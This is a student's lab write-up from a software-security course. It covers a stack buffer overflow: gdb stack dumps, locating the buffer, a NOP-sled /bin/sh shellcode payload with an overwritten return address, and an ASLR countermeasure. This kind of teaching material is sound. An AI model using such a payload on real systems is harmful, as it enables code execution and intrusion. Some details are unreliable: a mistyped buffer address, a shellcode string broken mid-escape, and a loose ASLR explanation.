

Lab III – Buffer Overflow Attacks and Defenses

CPS 499-02/592-02

Software/Language Based Security

Fall 2020

Dr. Phu Phung

Evan Krimpenfort

a. Steps

b. Demo

Figure 1: Overflow Demonstration

Task II: Debug the program to get the Buffer Address

a. Vulnerable Function

Figure 2: The address where strcpy is

b. Program Pointer

Figure 3: the address where strcpy is called

c. Buffer Address

In figure 3, the address of which you can set the break point for strcpy is at 0x0804843c because this is when the function is actually called.

d. Buffer Address Verification

```
[-----stack-----]
0000| 0xbfffe720 --> 0xbfffe73c ('A' <repeats 200 times>...)
0004| 0xbfffe724 --> 0xbfffec7f ('A' <repeats 200 times>...)
0008| 0xbfffe728 --> 0xb7ff57ac ("<program name unknown>")
0012| 0xbfffe72c --> 0xbfffe7b0 ('A' <repeats 200 times>...)
0016| 0xbfffe730 --> 0x0
0020| 0xbfffe734 --> 0xb7fff53c --> 0xb7fdb000 --> 0x464c457f
0024| 0xbfffe738 --> 0xbfffe7b0 ('A' <repeats 200 times>...)
0028| 0xbfffe73c ('A' <repeats 200 times>...)
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804843c in main (argc=0x2, argv=0xbfffea24) at myecho.c:8
8      in myecho.c
gdb-peda$ x/280xb $esp
0xbfffe720:      0x3c      0xe7      0xff      0xbf      0x7f      0xec      0xff      0xbf
0xbfffe728:      0xac      0x57      0xff      0xb7      0xb0      0xe7      0xff      0xbf
0xbfffe730:      0x00      0x00      0x00      0x00      0x3c      0xf5      0xff      0xb7
0xbfffe738:      0xb0      0xe7      0xff      0xbf      0x41      0x41      0x41      0x41
0xbfffe740:      0x41      0x41      0x41      0x41      0x41      0x41      0x41      0x41
0xbfffe748:      0x41      0x41      0x41      0x41      0x41      0x41      0x41      0x41
```

Figure 4: Where the Buffer Address is

You can see the Buffer is `0xbfffe7c` because of the very top part at 0000 and where it is in the hex dump.

e. Explanation & Demo

What's happening here is we are trying to find where the buffer starts so we can set appropriate break points. Without understanding where the code is in memory, we wouldn't be able to find it and analyze it. First step being finding the vuln (`strcpy`), second finding where it's called (`*main + 40`) and then setting a break point there to hex dump it.

Task III: Construct the Payload

a. Size of the payload and why?

The size of the payload is 592 (the N value we found earlier) subtracted by 46 (which is the size of the shell code). The reason I chose 46 instead of something less is more is because I want to overflow the buffer exactly by 592. So, I want the correct amount of Nops and shell bytes to get that value. The payload allows a return address to be written so that the shell code can be executed inside of the buffer. We don't want to take off any nops for the return address. That stays where it is.

b. Capture the code of the payload

```
print "\x90"x(592-46) .
      "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0
7\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\x
f\xff\x2f\x62\x69\x6e\x2f\x73\x68" .
      "\x40\xe9\xff\xbf"
```

Figure 5: Code of the payload

Task IV: Launch the Attack

- a. Launch the attack and capture it

[illegible]

Figure 6: Attack

- b. Why does this happen?

This attack happens because I was successfully able to overflow the buffer just right. I filled the buffer completely (592 bytes) and rewrote the return address so that it doesn't go back to main. It now has to execute what the buffer was (which was the shell code).

Task V: A Buffer Overflow Attack Countermeasure

- a. Turn randomizations on

[illegible]

Figure 7: Attack but with Randomization

- b. Explain

The reason the attack no longer works is because your return address isn't within the field of the program. It is outside of the bounds of memory space and that causes the program to fault.